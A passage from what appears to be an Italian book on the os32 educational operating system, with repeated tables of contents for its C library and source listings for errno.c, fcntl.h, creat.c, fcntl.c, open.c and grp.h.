120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581

120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655

120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703

120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779

120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820

120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.4.1 lib/errno/errno.c

Si veda la sezione 113.19.

```
2600001 //----------------------------------------------------------------------
2600002 // This file does not include the 'errno.h' header, because here 'errno'
2600003 // should not be declared as an extern variable!
2600004 //----------------------------------------------------------------------
2600005 #include <limits.h>
2600006 //----------------------------------------------------------------------
2600007 // The variable 'errno' is standard, but 'errln' and 'errfn' are added
2600008 // to keep track of the error source. Variable 'errln' is used to save
2600009 // the source file line number; variable 'errfn' is used to save the
2600010 // source file name. To set these variable in a consistent way it is
2600011 // also added a macro-instruction: 'errset'.
2600012 //----------------------------------------------------------------------
2600013 int  errno;
2600014 int  errln;
2600015 char errfn[PATH_MAX];
2600016 //----------------------------------------------------------------------
```

120.5 os32: «lib/fcntl.h»

Si veda la sezione 116.2.

```
2610001 #ifndef _FCNTL_H
2610002 #define _FCNTL_H        1
2610003
2610004 #include <sys/types.h>  // mode_t
2610005                         // off_t
2610006                         // pid_t
2610007 //----------------------------------------------------------------------
```

```
2610008 // Values for the second parameter of function 'fcntl()'.
2610009 //----------------------------------------------------------------------
2610010 #define F_DUPFD         0       // Duplicate file descriptor.
2610011 #define F_GETFD         1       // Get file descriptor flags.
2610012 #define F_SETFD         2       // Set file descriptor flags.
2610013 #define F_GETFL         3       // Get file status flags.
2610014 #define F_SETFL         4       // Set file status flags.
2610015 #define F_GETLK         5       // Get record locking information.
2610016 #define F_SETLK         6       // Set record locking information.
2610017 #define F_SETLKW        7       // Set record locking information;
2610018                                 // wait if blocked.
2610019 #define F_GETOWN        8       // Set owner of socket.
2610020 #define F_SETOWN        9       // Get owner of socket.
2610021 //----------------------------------------------------------------------
2610022 // Flags to be set with:
2610023 //   fcntl (fd, F_SETFD, ...);
2610024 //----------------------------------------------------------------------
2610025 #define FD_CLOEXEC      1       // Close the file descriptor upon
2610026                                 // execution of an exec() family
2610027                                 // function.
2610028 //----------------------------------------------------------------------
2610029 // Values for type 'l_type', used for record locking with 'fcntl()'.
2610030 //----------------------------------------------------------------------
2610031 #define F_RDLCK         0       // Read lock.
2610032 #define F_WRLCK         1       // Write lock.
2610033 #define F_UNLCK         2       // Remove lock.
2610034 //----------------------------------------------------------------------
2610035 // Flags for file creation, in place of 'oflag' parameter for function
2610036 // 'open()'.
2610037 //----------------------------------------------------------------------
2610038 #define O_CREAT         000010  // Create file if it does not exist.
2610039 #define O_EXCL          000020  // Exclusive use flag.
2610040 #define O_NOCTTY        000040  // Do not assign a controlling terminal.
2610041 #define O_TRUNC         000100  // Truncation flag.
2610042 //----------------------------------------------------------------------
2610043 // Flags for the file status, used with 'open()' and 'fcntl()'.
2610044 //----------------------------------------------------------------------
2610045 #define O_APPEND        000200  // Write append.
2610046 #define O_DSYNC         000400  // Synchronized write operations.
2610047 #define O_NONBLOCK      001000  // Non-blocking mode.
2610048 #define O_RSYNC         002000  // Synchronized read operations.
2610049 #define O_SYNC          004000  // Synchronized read and write.
2610050 //----------------------------------------------------------------------
2610051 // File access mask selection.
2610052 //----------------------------------------------------------------------
2610053 #define O_ACCMODE       000003  // Mask to select the last three bits,
2610054                                 // used to specify the main access
2610055                                 // modes: read, write and both.
2610056 //----------------------------------------------------------------------
2610057 // Main access modes.
2610058 //----------------------------------------------------------------------
2610059 #define O_RDONLY        000001                  // Read.
```

```
2610060 #define O_WRONLY        000002                // Write.
2610061 #define O_RDWR          (O_RDONLY | O_WRONLY)  // Both read and write.
2610062 //----------------------------------------------------------------------
2610063 // Structure 'flock', used to file lock for POSIX standard. It is not
2610064 // used inside os32.
2610065 //----------------------------------------------------------------------
2610066 struct flock {
2610067     short int l_type;   // Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK.
2610068     short int l_whence; // Start reference point.
2610069     off_t     l_start;  // Offset, from 'l_whence', for the area start.
2610070     off_t     l_len;    // Locked area size. Zero means up to the end of
2610071                         // the file.
2610072     pid_t     l_pid;    // The process id blocking the area.
2610073 };
2610074 //----------------------------------------------------------------------
2610075 // Function prototypes.
2610076 //----------------------------------------------------------------------
2610077 int creat (const char *path, mode_t mode);
2610078 int fcntl (int fdn, int cmd, ...);
2610079 int open  (const char *path, int oflags, ...);
2610080 //----------------------------------------------------------------------
2610081
2610082 #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472

120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595

120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695

120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809

120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.5.1 lib/fcntl/creat.c

Si veda la sezione 113.13.

```
2620001 #include <fcntl.h>
2620002 #include <sys/types.h>
2620003 //----------------------------------------------------------------------
2620004 int
2620005 creat (const char *path, mode_t mode)
2620006 {
2620007     return (open (path, O_WRONLY|O_CREAT|O_TRUNC, mode));
2620008 }
```

120.5.2 lib/fcntl/fcntl.c

Si veda la sezione 112.15.

```
2630001 #include <fcntl.h>
2630002 #include <stdarg.h>
2630003 #include <stddef.h>
2630004 #include <string.h>
2630005 #include <errno.h>
2630006 #include <sys/os32.h>
2630007 #include <limits.h>
2630008 //----------------------------------------------------------------------
2630009 int
2630010 fcntl (int fdn, int cmd, ...)
2630011 {
2630012     va_list ap;
2630013     sysmsg_fcntl_t msg;
2630014     va_start (ap, cmd);
2630015     //
2630016     // Well known arguments.
2630017     //
2630018     msg.fdn = fdn;
2630019     msg.cmd = cmd;
2630020     //
2630021     // Select other arguments.
2630022     //
2630023     switch (cmd)
2630024       {
2630025         case F_DUPFD:
2630026         case F_SETFD:
2630027         case F_SETFL:
2630028             msg.arg = va_arg (ap, int);
2630029             break;
2630030         case F_GETFD:
2630031         case F_GETFL:
2630032             break;
2630033         case F_GETOWN:
2630034         case F_SETOWN:
2630035         case F_GETLK:
2630036         case F_SETLK:
2630037         case F_SETLKW:
2630038             errset (E_NOT_IMPLEMENTED);         // Not implemented.
2630039             return (-1);
2630040         default:
2630041             errset (EINVAL);                    // Not implemented.
2630042             return (-1);
2630043       }
2630044     //
2630045     // Do the system call.
2630046     //
2630047     sys (SYS_FCNTL, &msg, (sizeof msg));
2630048     errno = msg.errno;
2630049     errln = msg.errln;
```

```
2630050     strncpy (errfn, msg.errfn, PATH_MAX);
2630051     return (msg.ret);
2630052 }
```

120.5.3 lib/fcntl/open.c

«

Si veda la sezione 112.32.

```
2640001 #include <fcntl.h>
2640002 #include <stdarg.h>
2640003 #include <stddef.h>
2640004 #include <string.h>
2640005 #include <errno.h>
2640006 #include <sys/os32.h>
2640007 #include <limits.h>
2640008 //----------------------------------------------------------------------
2640009 int
2640010 open (const char *path, int oflags, ...)
2640011 {
2640012     va_list ap;
2640013     sysmsg_open_t msg;
2640014     va_start (ap, oflags);
2640015     if (path == NULL || strlen (path) == 0)
2640016       {
2640017         errset (EINVAL);        // Invalid argument.
2640018         return (-1);
2640019       }
2640020     strncpy (msg.path, path, PATH_MAX);
2640021     msg.flags = oflags;
2640022     msg.mode  = va_arg (ap, mode_t);
2640023     sys (SYS_OPEN, &msg, (sizeof msg));
2640024     errno = msg.errno;
2640025     errln = msg.errln;
2640026     strncpy (errfn, msg.errfn, PATH_MAX);
2640027     return (msg.ret);
2640028 }
```

120.6 os32: «lib/grp.h»

«

Si veda la sezione 116.2.

```
2650001 #ifndef _GRP_H
2650002 #define _GRP_H        1
2650003 //----------------------------------------------------------------------
2650004 #include <restrict.h>
2650005 #include <sys/types.h>          // gid_t, uid_t
2650006 //----------------------------------------------------------------------
2650007 #define GR_MEM_MAX 32
2650008 struct group {
```

```
2650009     char  *gr_name;
2650010     char  *gr_passwd;
2650011     gid_t  gr_gid;
2650012     char  *gr_mem[GR_MEM_MAX];
2650013 };
2650014 //----------------------------------------------------------------------
2650015 struct group *getgrent (void);
2650016 void          setgrent (void);
2650017 void          endgrent (void);
2650018 struct group *getgrnam (const char *name);
2650019 struct group *getgrgid (gid_t gid);
2650020 //----------------------------------------------------------------------
2650021 #endif
2650022
2650023
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483

120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578

120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
